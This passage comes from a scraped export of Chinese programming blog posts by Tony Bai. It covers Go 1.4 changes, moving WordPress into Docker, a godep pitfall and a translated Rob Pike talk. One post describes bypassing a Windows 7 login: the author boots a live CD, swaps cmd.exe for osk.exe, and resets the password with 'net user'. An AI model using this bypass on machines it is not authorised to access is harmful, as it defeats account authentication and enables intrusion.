paths)\n我们经常使用托管在公共代码托管服务中的代码，诸如github.com，这意味着包导入路径包含托管服务名，比如github.com/rsc /pdf。一些场景下为了不破坏用户代码，我们用rsc.io/pdf，屏蔽底层具体哪家托管服务，比如rso.io/pdf的背后可能是 github.com也可能是bitbucket。但这样会引入一个问题，那就是不经意间我们为一个包生成了两个合法的导入路径。如果一个程序中 使用了这两个合法路径，一旦某个路径没有被识别出有更新，或者将包迁移到另外一个不同的托管公共服务下去时，使用旧导入路径包的程序就会报错。\nGo 1.4引入一个包字句的注释，用于标识这个包的权威导入路径。如果使用的导入的路径不是权威路径，go命令会拒绝编译。语法很简单：\npackage pdf // import \u0026ldquo;rsc.io/pdf\u0026rdquo;\n如果pdf包使用了权威导入路径注释，那么那些尝试使用github.com/rsc/pdf导入路径的程序将会被go编译器拒绝编译。\n这个权威导入路径检查是在编译期进行的，而不是下载阶段。\n我们举个例子：\n我们的包foo以前是放在github.com/bigwhite/foo下面的，后来主托管站换成了tonybai.com/foo，最新的 foo包的代码：\npackage foo // import \u0026ldquo;tonybai.com/foo\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Echo(a string) {\nfmt.Println(\u0026ldquo;Foo:, a)\n}\n某个应用通过旧路径github.com/bigwhite/foo导入了该包：\n//testcanonicalimportpath.go\npackage main\nimport \u0026ldquo;github.com/bigwhite/foo\u0026rdquo;\nfunc main() {\nfoo.Echo(\u0026ldquo;Hello!\u0026rdquo;)\n}\n我们编译该go文件，得到以下结果：\ncode in directory /home/tonybai/Test/Go/src/github.com/bigwhite/foo expects import \u0026ldquo;tonybai.com/foo\u0026rdquo;\n5、go generate子命令\ngo 1.4中go工具集合新引入一个子命令：go generate，用于在编译前自动化生成某类代码。例如在.y上运行yacc编译器生成实现该语法的.go源文件。或是使用stringer工 具自动为常量生成String方法。这个命令并非由go tools(build, get等)自动执行，而必须显式执行。\n不过我简单测试了一下，似乎这个命令设计文档中的：\n// +build generate\n并不好用啊。即便将其作为generate directive放入go源文件，该文件依旧会被go编译器当做正常go文件编译。Go 1.4标准库中使用go generate directive的有三个地方：\nstrconv/quote.go://go:generate go run makeisprint.go -output isprint.go\ntime/zoneinfo_windows.go://go:generate go run genzabbrs.go -output zoneinfo_abbrs_windows.go\nunicode/letter.go://go:generate go run maketables.go -tables=all -output tables.go\n通过go generate来实现泛型(generics)似乎不那么优雅啊。虽然设计者并非将其作为Go泛型的实现^_^。\n6、源码布局变化\n在Go自身源码库($GOROOT下)中，包的源码放在src/pkg中，这样做与其他库不同，包括Go自己的子库，比如go.tools。因此在Go 1.4中，pkg这一层目录树将被去除，比如fmt包的源码曾经放在src/pkg/fmt下，现在则放在src/fmt下。\n五、性能\n绝大多数程序使用1.4编译后的运行速度会与1.3的一致或略有提升，有些可能也会变得慢些。这次修改的较多，很难准确预测。\n这次许多runtime的代码由C变为Go，这将导致一些heap大小有所缩减。另外这样做后有利于Go编译器的优化，诸如内联，会带来性能上的小幅提升。\n垃圾回收器一方面得到了加速，使得重度依赖垃圾收集的程序得到可衡量的提升。但另外一方面，新的write barrier又引起了性能下降。提升和下降的量的多少取决于程序的行为。\n","permalink":"https://tonybai.com/2014/11/04/some-changes-in-go-1-4/","summary":"\u003cp\u003e在Go 1.3发布半年过去后，\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGo\u003c/a\u003e核心项目组于本月初发布了\u003ca href=\"http://tip.golang.org/doc/go1.4\"\u003eGo 1.4 Beta1版本\u003c/a\u003e。这个版本的几个变化点虽然不是革命性的，但对后续Go语言的发展来说，打下了基础，定下了基调。这里就几个值得关注的变化点结合Go 1.4代码进行一些简单描述，希望大家能对Go 1.4有个感性的认知和了解。\u003c/p\u003e","title":"Go 1.4中值得关注的几个变化"},{"content":"目前的Blog托管在同事的一个共享主机上，由于种种原因，这个主机即将无法使用，我只能再次迁移我的WordPress，不得不感叹：铁打的Wordpress，流水的主机啊！\n这次迁移前，我仔细考量了一番，如何能让以后可能出现的Wordpress迁移最简化呢？虽然现在的迁移也不是特别复杂。我想到了近期研究的 Docker。目前很多国外的VPS都已经支持了Docker，我只需要在本地制作好Docker容器导出，再导入目标VPS的Docker中即可完成迁 移。在真正做迁移前，我打算在实验环境下测试一下。以下是将Wordpress迁移到Docker容器的测试过程。\n一、容器准备\n1、下载镜像\nWordPress主要就是两个部分组成：wordpress程序 + mysql数据库。Docker官方registery提供了Wordpress和MySQL的image，我们可以直接pull使用。考虑到外站速度较 慢，这里我使用了国内镜像站点dockerpool.com提供的镜像了。\nsudo docker pull dl.dockerpool.com:5000/wordpress:4.0.0\nsudo docker pull dl.dockerpool.com:5000/mysql:5.6.20\n考虑到使用phpmyadmin操作mysql数据的方便性，我又找了一个phpmyadmin的image：\nsudo docker pull corbinu/docker-phpmyadmin\n2、启动容器\nmysql作为数据库数据存储镜像，在启动是会被wordpress和phpmyadmin link的，这样后两者在各自容器内才能顺利访问mysql服务和数据库。\n按顺序启动容器（mysql为最先启动）：\nsudo docker run –name blogmysql -e MYSQL_ROOT_PASSWORD=root -d dl.dockerpool.com:5000/mysql:5.6.20\nsudo docker run –name blogwordpress –link blogmysql:mysql -p 80:80 -d dl.dockerpool.com:5000/wordpress:4.0.0\nsudo docker run –name blogphpmyadmin -e MYSQL_USERNAME=root –link blogmysql:mysql -p 8000:80 -d corbinu/docker-phpmyadmin\n三个容器均可以顺利启动。mysql数据库的访问方式是root/root。wordpress默认为80端口，phpmyadmin用8000端口访问，你可以试试http://localhost:80和http://localhost:8000。\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\na30540120b5d corbinu/docker-phpmyadmin:latest \u0026ldquo;/bin/sh -c phpmyadm 5 seconds ago Up 3 seconds 0.0.0.0:8000-\u0026gt;80/tcp blogphpmyadmin a88c456bf840 dl.dockerpool.com:5000/wordpress:4 \u0026ldquo;/entrypoint.sh apac 37 seconds ago Up 35 seconds 0.0.0.0:80-\u0026gt;80/tcp blogwordpress 1b6f84f428e3 dl.dockerpool.com:5000/mysql:5.6.20 \u0026ldquo;/entrypoint.sh mysq 45 seconds ago Up 44 seconds 3306/tcp blogmysql\n访问phpmyadmin，使用root/root登录后，我们可以看到主页上得数据库信息：\nDatabase server\nServer: 172.17.0.2 via TCP/IP\nServer type: MySQL\nServer version: 5.6.20 – MySQL Community Server (GPL)\nProtocol version: 10\nUser: root@172.17.0.4\nServer charset: UTF-8 Unicode (utf8)\nWeb server\nnginx/1.7.1\nDatabase client version: libmysql – 5.6.20\nPHP extension: mysqli Documentation\nphpMyAdmin\nVersion information: 4.2.7.1, latest stable version: 4.2.10.1\n3、install wordpress\n第一次通过http://locahost:80访问wordpress，便进入了wordpress安装流程，这个镜像中携带的版本是wordpress 4.0.0。\nstep1：\n选择安装语言：简体中文\nstep2:\n填写站点名称、用户名、密码、邮件等。\n安装ok后，你就进入到了Wordpress 4.0.0的管理后台。\n二、迁移\n1、导出备份\n目前的Blog使用的是DirectAdmin管理面板。通过DirectAdmin我们可以将当前的Wordpress站点整个下载，下载包中包含:\n$ls\nbackup/ domains/\ndomains/tonybai.com/public_html下就是你的wordpress程序以及相关配置、插件等数据。\nbackup/xxx.sql就是数据库导出文件。\n我们需要将这两部分恢复到Docker中。\n2、数据表导入\n我曾经试过通过WP-DB-Backup导出sql文件，再通过phpmyadmin导入的方法，但WP-DB-Backup导出的sql文件较大（\u0026gt;2M）,无法满足phpmyadmin对导入文件的要求（\u0026lt;=2m)，于是总是失败。之后决定通过mysql直接执行sql脚本导入。\n首先通过phpmyadmin在mysql中建立数据库xx_db，编码：utf8_general_ci。\n然后将上面的backup/xxx.sql拷贝到blogmysql容器中，比如就放在/root/下。然后通过nscenter进入到blogmysql容器中，切换到/usr/local/mysql/bin下，执行如下命令：\n$ ./mysql -u root -p\n输入root，进入mysql\n在mysql下执行：\nmysql \u0026gt; use xx_db\nmysql \u0026gt; source /root/xxx.sql\n如无意外，数据将顺利导入mysql的xx_db下。\n3、wordpress导入\n通过docker nsenter工具进入blogwordpress容器，进入/var/www目录下：\n$ cp -r html html.bak\n$ rm -fr html/*\n再将上面提到的public_html下面的文件悉数copy到html下。\n打开浏览器，输入http://localhost:80，会出现错误提示：\u0026ldquo;您在 wp-config.php 文件中提供的数据库用户名和密码可能不正确，或者无法连接到 localhost 上的数据库服务器\u0026rdquo;。\n我们需要修改wp-config.php中的数据库连接信息。\ndefine(\u0026lsquo;DB_NAME\u0026rsquo;, \u0026lsquo;bigwhite_db\u0026rsquo;);\ndefine(\u0026lsquo;DB_USER\u0026rsquo;, \u0026lsquo;root\u0026rsquo;);\ndefine(\u0026lsquo;DB_PASSWORD\u0026rsquo;, \u0026lsquo;root\u0026rsquo;);\ndefine(\u0026lsquo;DB_HOST\u0026rsquo;, \u0026lsquo;mysql\u0026rsquo;);\n再次刷新浏览器，依旧无法正确打开。重启blogwordpress容器后,wordpress终于可以打开了，但打开的wordpress管理页面连接 的数据库不对，我的文章并没有出现在文章列表中，这是一个新库。于是通过docker logs查看blogwordpress日志，进入blogwordpress查看wp-config.php的内容，我惊奇的发现：wp- config.php中的DB_NAME被改回\u0026rsquo;wordpress\u0026rsquo;了，而没有使用导入的\u0026quot;bigwhite_db\u0026rdquo;。\n多次修改回bigwhite_db并重启容器后，这个值均被改为wordpress。无奈只好通过phpmyadmin删除wordpress库，重新创 建wordpress库并采用同样方法导入xx.sql，使得wordpress这个db与bigwhite_db拥有同样地内容。这回再打开 wordpress，一切尽在眼前。\n迁移实验成功！这样我们将迁移后的容器导出，再导入你的支持docker的VPS中，无需任何其余操作即可完成真正的迁移。目前Digital Ocean已经支持了Docker，Aliyun据说也拥抱了Docker。\n","permalink":"https://tonybai.com/2014/11/01/migrate-wordpress-into-docker-container/","summary":"\u003cp\u003e目前的\u003ca href=\"http://tonybai.com/\"\u003eBlog\u003c/a\u003e托管在同事的一个共享主机上，由于种种原因，这个主机即将无法使用，我只能再次迁移我的\u003ca href=\"http://wordpress.org/\"\u003eWordPress\u003c/a\u003e，不得不感叹：铁打的Wordpress，流水的主机啊！\u003c/p\u003e\n\u003cp\u003e这次迁移前，我仔细考量了一番，如何能让以后可能出现的Wordpress迁移最简化呢？虽然现在的迁移也不是特别复杂。我想到了近期研究的 \u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e。目前很多国外的VPS都已经支持了\u003ca href=\"http://docker.com/\"\u003eDocker\u003c/a\u003e，我只需要在本地制作好Docker容器导出，再导入目标VPS的Docker中即可完成迁 移。在真正做迁移前，我打算在实验环境下测试一下。以下是将Wordpress迁移到Docker容器的测试过程。\u003c/p\u003e","title":"Wordpress迁移到Docker容器"},{"content":"很多人学习和使用Golang一段时间后，都会被golang的第三方包依赖版本搞得有些烦躁，golang设计者最初过于乐观的设计使得今天大 家不得不各自想办法解决这个问题。godep就是综合了多年第三方包依赖问题的解决方案后的一个趋向统一的方案，至少是在go get的设计没有进化前的一个比较不错的方案。\n今天试用了一把godep，不过“体验”并不理想，这缘于我遇到了godep的一个“坑”，不过是那种你在正式项目中不一定遇到的“坑”，这里来说到说到。\n按照godep官方使用说明的第一步，先下载godep：\n$ go get github.com/tools/godep\n$godep\nGodep is a tool for managing Go package dependencies.\nUsage:\ngodep command [arguments]\nThe commands are:\nsave list and copy dependencies into Godeps\ngo run the go tool in a sandbox\nget download and install packages with specified dependencies\npath print sandbox path for use in a GOPATH\nrestore check out listed dependency versions in GOPATH\nupdate use different revision of selected packages\nUse \u0026ldquo;godep help [command]\u0026rdquo; for more information about a command.\n确认正确下载后，我们来准备一个测试例子，目录如下：\n$GOPATH/\nsrc/\ntonybai.com/\nfoolib/\nfoo.go\nfooapp/\nmain.go\n//foo.go\npackage foo\nfunc Add(a, b int) int {\nreturn a + b\n}\n//main.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\nfoo \u0026ldquo;tonybai.com/foolib\u0026rdquo;\n)\nfunc main() {\nfmt.Println(foo.Add(1, 3))\n}\n在fooapp下，编译执行程序：\n$go run main.go\n4\n接下来godep登场，根据godep文档中得步骤，接下来我们应该在一个构建依赖关系完整的项目中执行godep save以保存依赖关系以及依赖的当前版本第三方包：\n$godep save\ngodep: directory \u0026ldquo;/Users/tony/Test/GoToolsProjects/src\u0026rdquo; is not using a known version control system\ngodep: error loading dependencies\n出错了！godep提示$GOPATH/src目录没有使用任何版本控制系统(not using a known version control system)。 奇怪啊！这个错误什么意思呢？难道使用godep还需要将$GOPATH/src整体作为一个Project纳入git or subversion repository中？无奈之下，我只能先这么做，再作观察。我在$GOPATH下执行git init，建立一个local git repository，然后将src add到这个repository中。\n回到fooapp下，再次执行godep save，居然依旧是同样地错误结果。于是到godep的issues中去查，看看是否有人和我遇到了同样地问题！godep的#116 issue中提到的问题恰恰和我的一致，不过这个issue一 直是open状态，也没有人comments。接着翻看一下godep的源码，godep依赖一些第三方包，save这个命令在分析版本控制工具库时也是 调用了多层外部包实现的，短时间内无法定位问题。\n静想一下，godep是管理第三方包依赖关系的，而第三方包多是go get下载的，是不是foolib要放到repository中才行呢？于是尝试在foolib中建立git repository并做一次commit。第三次在fooapp下执行godep save，错误依旧！\n难道fooapp也必须放在repository中？试试吧。在fooapp下init一个git repository，将fooapp下的main.go提交到repository中。再执行godep save：\n$godep save\n$ls -l\ntotal 8\ndrwxr-xr-x 5 tony staff 170 10 30 22:01 Godeps/\n-rw-r–r– 1 tony staff 103 10 30 21:44 main.go\n这回成功了！godep save在fooapp下建立了Godeps目录，其结构如下：\n$ls -R\nGodeps.json Readme _workspace/\n./_workspace:\nsrc/\n./_workspace/src:\ntonybai.com/\n./_workspace/src/tonybai.com:\nfoolib/\n./_workspace/src/tonybai.com/foolib:\nfoolib.go\ngodep将当前版本的foolib copy到Godeps/_workspace下了。\nGodeps.json记录了fooapp对foolib的依赖关系：\n{\n\u0026ldquo;ImportPath\u0026rdquo;: \u0026ldquo;fooapp\u0026rdquo;,\n\u0026ldquo;GoVersion\u0026rdquo;: \u0026ldquo;go1.3\u0026rdquo;,\n\u0026ldquo;Deps\u0026rdquo;: [\n{\n\u0026ldquo;ImportPath\u0026rdquo;: \u0026ldquo;tonybai.com/foolib\u0026rdquo;,\n\u0026ldquo;Rev\u0026rdquo;: \u0026ldquo;20a9c2a682537813d37847f2f270bf929672cc84\u0026rdquo;\n}\n]\n}\ngodep记录了foolib的当前revision number，这个number恰是我最新一次commit的hash code：\n~/Test/GoToolsProjects/src/tonybai.com/foolib]$git log\ncommit 20a9c2a682537813d37847f2f270bf929672cc84\nAuthor: Tony Bai bigwhite.cn@gmail.com\nDate: Thu Oct 30 22:00:25 2014 +0800\ninit\n到这里让我觉得godep的设计思路有些与我的buildc（C程序辅助构建工具）的思路有些类似，只是godep做得更彻底：\n1、godep将项目依赖统统放到项目的私有_workspace下，而buildc是共享的，通过project下的版本号配置区分依赖\n2、godep将依赖管理到revision(修订号)级别，buildc只是根据version来区分依赖。\ngodep的辅助构建原理（godep go build main.go）通过一条命令即可看出来：\n$godep go env\nGOARCH=\u0026ldquo;amd64\u0026rdquo;\nGOBIN=\u0026quot;/usr/local/go/bin\u0026quot;\nGOCHAR=\u0026ldquo;6\u0026rdquo;\nGOEXE=\u0026quot;\u0026quot;\nGOHOSTARCH=\u0026ldquo;amd64\u0026rdquo;\nGOHOSTOS=\u0026ldquo;darwin\u0026rdquo;\nGOOS=\u0026ldquo;darwin\u0026rdquo;\nGOPATH=\u0026quot;/Users/tony/Test/GoToolsProjects/src/fooapp/Godeps/_workspace:/Users/tony/Test/GoToolsProjects\u0026quot;\ngodep临时将_workspace放在GOPATH列表的前面，这样gc在编译时就会按顺序先在_workspace下面找依赖包，这样fooapp的私有依赖就会理所当然的被gc用到，即便在其他GOPATH路径下有同名包（可能是不同版本的）。\n显然这也算是godep的一个小bug吧（或者是godep依赖的包的bug，目前不确认），毕竟提示的路径是不正确的，不应该提示\u0026quot;/Users/tony/Test/GoToolsProjects/src\u0026quot; is not using a known version control system，而应该是\u0026quot;/Users/tony/Test/GoToolsProjects/src/tonybai.com/foolib或\u0026quot;/Users/tony/Test/GoToolsProjects/src/fooapp没有版本控制系统的repository留存。\n另外觉得godep的author应该把这个“坑”作为一个使用godep的前提进行说明，并在github主页给出明确展示，即便这个“坑”多数人可能不会遇到。\n","permalink":"https://tonybai.com/2014/10/30/a-hole-of-godep/","summary":"\u003cp\u003e很多人学习和使用\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGolang\u003c/a\u003e一段时间后，都会被\u003ca href=\"http://golang.org/\"\u003egolang\u003c/a\u003e的第三方包依赖版本搞得有些烦躁，golang设计者最初过于乐观的设计使得今天大 家不得不各自想办法解决这个问题。\u003ca href=\"https://github.com/tools/godep\"\u003egodep\u003c/a\u003e就是综合了多年第三方包依赖问题的解决方案后的一个趋向统一的方案，至少是在go get的设计没有进化前的一个比较不错的方案。\u003c/p\u003e\n\u003cp\u003e今天试用了一把godep，不过“体验”并不理想，这缘于我遇到了godep的一个“坑”，不过是那种你在正式项目中不一定遇到的“坑”，这里来说到说到。\u003c/p\u003e","title":"godep的一个“坑”"},{"content":"近两年虚拟机的发展给开发人员带来了极大便利，安装一个新环境，只需从别人那里copy一份虚拟机文件即可，分分钟搞定。我之前一直在Ubuntu下工 作，Windows偶尔使用，于是在Ubuntu VirtualBox下安装了一个Windows 7。今年将工作环境迁移到Mac Air下了，但偶尔也有Windows的使用需求，于是直接从我原来的Ubuntu下将Win7的Vdi文件Copy到Air上，便直接可以使用Win7 了，省去了重新安装Win7以及庞大的Office组件的工作。\n前两天，打开Mac Air下的VirtualBox，启动Win7虚拟机，在Win7登录界面输入密码后，系统提示我密码错误。反复输入多次，将我常用的密码都试了一遍依旧 无法进入。我只能在原Ubuntu下临时用用Win7。但毕竟在Air上没有Win7十分不便，一些Word, PPT文档需要在两天机器上传来传去。无奈下，我都由了重新在Air下安装一个Win7甚至是Win8的打算了。\n今天又有一个PPT编写的task，这件事再次被提上日程。我换了下思维：能不能破解一下Win7登录密码呢？于是求助度娘（谷哥离去好久了）。还别说， 还真是有破解方法，多数是通过PE工具盘快速修改登录密码。但PE工具盘挺大（几百兆，公司下载不便），我的又是虚拟机环境，这种方法不是我的菜啊。于是 又看到另外一种思路：通过某个Linux livecd或安装盘引导，mount windows分区，将C:\\Windows\\System32\\cmd.exe改名为osk.exe。osk.exe是虚拟键盘程序。在Win7登录页 面的左下角可以启动这个虚拟键盘程序。一旦我替换成功，启动虚拟键盘程序就变成了启动Win7命令行程序。有了命令行，我们就可以通过net user命令查看当前账户列表、重置某个用户的password了。思路很清晰，是我的菜。\n在我的Ubuntu机器上倒是有几个Linux发行版的live cd iso文件，比如ubuntu 14.04.1 desktop, centos7 desktop，不过个头都太大了，传到我的Air上还是很费劲的。我想最好有一个tiny的linux发行版。度娘告诉我有很多选择。我首先选了Tiny Core Linux， TinyCore-5.4.iso才不到14M。于是打开Win7虚拟机的“设置”页面，将 TinyCore-5.4.iso作为虚拟iso“插入”IDE光驱。TinyCore的启动就是秒秒的事情。TinyCore的桌面风格模仿Mac OS，桌面下方放置了一个dock条。TinyCore自带mount tools，打开后，用鼠标点击sda2，sda2盘符由红变绿，说明mount成功。\n打开TinyCore的Terminal程序，进入/mnt/sda2，本想安装方案修改cmd.exe的名字，但Tiny Core提示：这是个Read-Only Filesystem。显然这是个只读mount。于是各种尝试读写挂在（包括修改/etc/fstab、mount -a, mount -o remount等），都无法改变Read-Only Filesystem的事实，于是放弃。\n换国人的发行版：CDLinux，这个发行版似乎已经不再更新，最新版本 CDlinux_mini-0.9.7.1.iso，发布时间是2012年3月18日。CDLinux的Size比TinyLinux稍大些，36M。 CDLinux启动略慢，并且只是Console Only（标准版带有桌面环境），没有图形桌面。进入命令行后，执行一下mount命令，发现/dev/sda2居然是rw方式挂载载/media /xxx下的，于是进入该目录，尝试touch test.txt，完全没有问题。\n于是按照方案说明，将C:\\Windows\\System32下的osk.exe备份一下，将cmd.exe改名为osk.exe。\n将光盘盘片删除，启动Win7，进入登陆页面时，点击左下角“轻松访问”按钮，选择“不使用键盘键入”，确定。命令行窗口弹出。\n在命令行窗口执行net user 查看用户名列表。我的用户名是tonybai，再通过net user tonybai newpassword重置tonybai的密码。执行成功后，用新密码登陆，顺利进入Win7 Desktop。Crack成功！\n","permalink":"https://tonybai.com/2014/10/29/crack-windows-logon-password-under-virtualbox/","summary":"\u003cp\u003e近两年虚拟机的发展给开发人员带来了极大便利，安装一个新环境，只需从别人那里copy一份虚拟机文件即可，分分钟搞定。我之前一直在\u003ca href=\"http://tonybai.com/tag/Ubuntu/\"\u003eUbuntu\u003c/a\u003e下工 作，Windows偶尔使用，于是在Ubuntu \u003ca href=\"http://virtualbox.org/\"\u003eVirtualBox\u003c/a\u003e下安装了一个Windows 7。今年将工作环境迁移到Mac Air下了，但偶尔也有Windows的使用需求，于是直接从我原来的\u003ca href=\"http://tonybai.com/2012/12/04/upgrade-ubuntu-to-1204-lts/\"\u003eUbuntu\u003c/a\u003e下将Win7的Vdi文件Copy到Air上，便直接可以使用Win7 了，省去了重新安装Win7以及庞大的Office组件的工作。\u003c/p\u003e","title":"VirtualBox虚拟机下Windows登录密码破解方法"},{"content":"本文来自Google的Golang语言设计者之一Rob Pike大神在GopherCon2014大会上的开幕主题演讲资料“Hello, Gophers!”。Rob大神在这次分 享中用了两个生动的例子讲述了Golang的演化历程，总结了Golang到目前为止的成功因素，值得广大Golang Programmer \u0026amp; Beginner学习和了解。这里也用了\u0026quot;Golang的演化历程\u0026quot;作为标题。\n1、Hello Gophers!\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.Printf(\u0026ldquo;Hello, gophers!\\n\u0026rdquo;)\n}\nRob大神的见面礼，后续会有针对这段的演化历史的陈述。\n2、历史\n这是一个历史性的时刻。\nGolang已经获得了一定的成功，值得拥有属于自己的技术大会。\n3、成功\n促成这份成功的因素有许多：\n– 功能\n– 缺少的功能\n– 功能的组合\n– 设计 – 人\n– 时间\n4、案例学习：两段程序\n我们来近距离回顾两段程序。\n第一个是你见过的第一个Go程序，是属于你的历史时刻。\n第二个是我们见过的第一个Go程序，是属于全世界所有Gophers的历史时刻。\n先看第一个“hello, world”\n5、hello.b\nmain( ) {\nextrn a, b, c;\nputchar(a); putchar(b); putchar(c); putchar(\u0026rsquo;!*n\u0026rsquo;);\n}\na \u0026lsquo;hell\u0026rsquo;;\nb \u0026lsquo;o, w\u0026rsquo;;\nc \u0026lsquo;orld\u0026rsquo;;\n上面这段代码首先出现在1972年Brian W. Kernighan的B语言教程中（也有另外一说是出现在那之前的BCPL语言中）。\n6、hello.c\nmain()\n{\nprintf(\u0026ldquo;hello, world\u0026rdquo;);\n}\n上面这段代码出现在1974年Brian W. Kernighan编写的《Programming in C: A Tutorial》中。这份教程当时是作为Unix v5文档的一部分。\n7、hello.c\nmain()\n{\nprintf(\u0026ldquo;hello, world\\n\u0026rdquo;); //译注：与上面的hello.c相比，多了个换行符\\n输出\n}\n这段代码首次出现在1978年Brian W. Kernighan和Dennis M. Ritchie合著的《The C Programming Language》一书中。\n8、hello.c, 标准C草案\n#include \u0026lt;stdio.h\u0026gt; //译注：与上面hello.c相比， 多了这个头文件包含\nmain()\n{\nprintf(\u0026ldquo;hello, world\\n\u0026rdquo;);\n}\n这段代码出现在1988年Brian W. Kernighan和Dennis M. Ritchie合著的《The C Programming Language》第二版一书中，基于标准C草案。\n9、hello.c，标准C89\n#include \u0026lt;stdio.h\u0026gt;\nmain(void) //译注：与上面hello.c相比，多了个void\n{\nprintf(\u0026ldquo;hello, world\\n\u0026rdquo;);\n}\n这段代码出现在1988年Brian W. Kernighan和Dennis M. Ritchie合著的《The C Programming Language》第二版第二次修订中。\n10、一两代之后…\n(省略所有中间语言)\n关于Golang的讨论开始于2007年年末。\n第一版语言规范起草于2008年3月份。\n用于实验和原型目的的编译器开发工作已经展开。\n最初的编译器输出的是C代码。\n语言规范一形成，我们就重写了编译器，输出本地代码（机器码）。\n11、hello.go, 2008年6月6日\npackage main\nfunc main() int {\nprint \u0026ldquo;hello, world\\n\u0026rdquo;;\nreturn 0;\n}\n针对首次提交代码的测试。\n内置的print已经是当时的全部实现。main函数返回一个int类型值。\n注意：print后面没有括号。\n12、hello.go，2008年6月27日\npackage main\nfunc main() {\nprint \u0026ldquo;hello, world\\n\u0026rdquo;;\n}\n当main函数返回，程序调用exit(0)。\n13、hello.go，2008年8月11日\npackage main\nfunc main() {\nprint(\u0026ldquo;hello, world\\n\u0026rdquo;);\n}\nprint调用加上了括号，这时print是一个函数，不再是一个原语。\n14、hello.go，2008年10月24日\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.printf(\u0026ldquo;hello, world\\n\u0026rdquo;);\n}\n我们熟知并喜欢的printf来了。\n15、hello.go，2009年1月15日\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.Printf(\u0026ldquo;hello, world\\n\u0026rdquo;);\n}\n头母大写的函数名用作才是导出的符号。\n16、hello.go, 2009年12约11日\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.Printf(\u0026ldquo;hello, world\\n\u0026rdquo;)\n}\n不再需要分号。\n这是在2009年11月10日Golang开发发布后的一次重要改变。\n这也是当前版本的hello, world\n我们花了些时间到达这里（32年！）\n都是历史了！\n17、不仅仅有C\n我们从\u0026quot;C\u0026quot;开始，但Go与C相比有着巨大的不同。\n其他一些语言影响和贯穿于Go的设计当中。\nC: 语句和表达式语法\nPascal: 声明语法\nModula 2, Oberon 2：包\nCSP, Occam, Newsqueak, Limbo, Alef: 并发\nBCPL: 分号规则\nSmalltalk: 方法(method)\nNewsqueak: \u0026lt;-, :=\nAPL: iota\n等等。也有一些是全新发明的，例如defer、常量。\n还有一些来自其他语言的优点和缺点：\nC++, C#, Java, JavaScript, LISP, Python, Scala, …\n18、hello.go，Go 1版\n将我们带到了今天。\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.Println(\u0026ldquo;Hello, Gophers (some of whom know 中文)!\u0026rdquo;)\n}\n我们来深入挖掘一下，把这段代码做一个拆解。\n19、Hello, World的16个tokens\npackage\nmain\nimport\n\u0026ldquo;fmt\u0026rdquo;\nfunc\nmain\n(\n)\n{\nfmt\n.\nPrintln\n(\n\u0026ldquo;Hello, Gophers (some of whom know 中文)!\u0026rdquo;\n)\n}\n20、package\n早期设计讨论的主要话题：扩展性的关键\npackage是什么？来自Modula-2等语言的idea\n为什么是package?\n– 拥有编译构建所需的全部信息\n– 没有循环依赖(import)\n– 没有子包\n– 包名与包路径分离\n– 包级别可见性，而不是类型级别\n– 在包内部，你拥有整个语言，在包外部，你只拥有包许可的东西。\n21、main\n一个C语言遗留风范尽显之处\n最初是Main，原因记不得了。\n主要的包，main函数\n很特别，因为它是初始化树(initialization tree)的根(root)。\n22、import\n一种加载包的机制\n通过编译器实现（有别于文本预处理器。译注：C语言的include是通过preprocessor实现的）\n努力使其高效且线性\n导入的一个包，而不是一个标识符(identifiers)集合（译注：C语言的include是将头文件里的标识符集合引入）\n至于export，它曾经是一个关键字。\n23、\u0026ldquo;fmt\u0026rdquo;\n包路径(package path)只是一个字符串，并非标识符的列表。\n让语言避免定义它的含义 – 适应性。(Allows the language to avoid defining what it means—adaptability)\n从一开始就想要一个URL作为一个选项。（译注：类似import \u0026ldquo;github.com/go/tools/xxx）\n可以应付将来的发展。\n24、func\n一个关键字，用于引入函数(类型、变量、常量），易于编译器解析。\n对于函数字面量(闭包)而言，易于解析非常重要。\n顺便说一下，最初这个关键字不是func，而是function。\n小插曲：\nMail thread from February 6, 2008\nFrom: Ken Thompson ken@google.com To: gri, r\nlarry and sergey came by tonight. we talked about go for more than an hour. they both said they liked it very much.\np.s. one of larrys comments was \u0026ldquo;why isnt function spelled func?\u0026rdquo;\n—\nFrom: Rob Pike r@google.com\nTo: ken, gri\nfine with me. seems compatible with \u0026lsquo;var\u0026rsquo;.\nanyway we can always say, \u0026ldquo;larry said to call it \u0026lsquo;func\u0026rsquo;\u0026rdquo;\n25、main\n程序执行的起点。除非它不是。（译注：main不是起点，rob大神的意思是不是指下列情形，比如go test测试包，在google app engine上的go程序不需要main）\n将初始化与正常执行分离，早期计划之中的。\n初始化在哪里发生的？(译注：说的是package内的func init() {..}函数吧)\n回到包设计。（译注：重温golang的package设计思想）\n26、()\n看看，没有void\nmain没有返回值，由运行时来处理main的返回后的事情。\n没有函数参数（命令行选项通过os包获取）\n没有返回值\n返回值以及语法\n27、{\n用的是大括号，而不是空格（译注：估计是与python的空格缩进对比）\n同样也不是方括号。\n为什么在括号后放置换行符(newline)？\n**28、**fmt\n所有导入的标识符均限定于其导入的包。（All imported identifiers are qualified by their import.）\n每个标识符要么是包或函数的本地变量，要么被类型或导入包限定。\n对代码可读性的重大影响。\n为什么是fmt，而不是format？\n29、.\n句号token在Go中有多少使用？（很多）\na.B的含义需要使用到类型系统\n但这对于人类来说非常清晰，读起来也非常容易。\n针对指针的自动转换(没有-\u0026gt;)。\n30、Println\nPrintln，不是println，头母大写才是导出符号。\n知道它是反射驱动的(reflection-driven)\n可变参数函数\n参数类型是(…); 2010年2月1日变成(…interface{})\n31、(\n传统函数语法\n32、****\u0026ldquo;Hello, Gophers (some of whom know 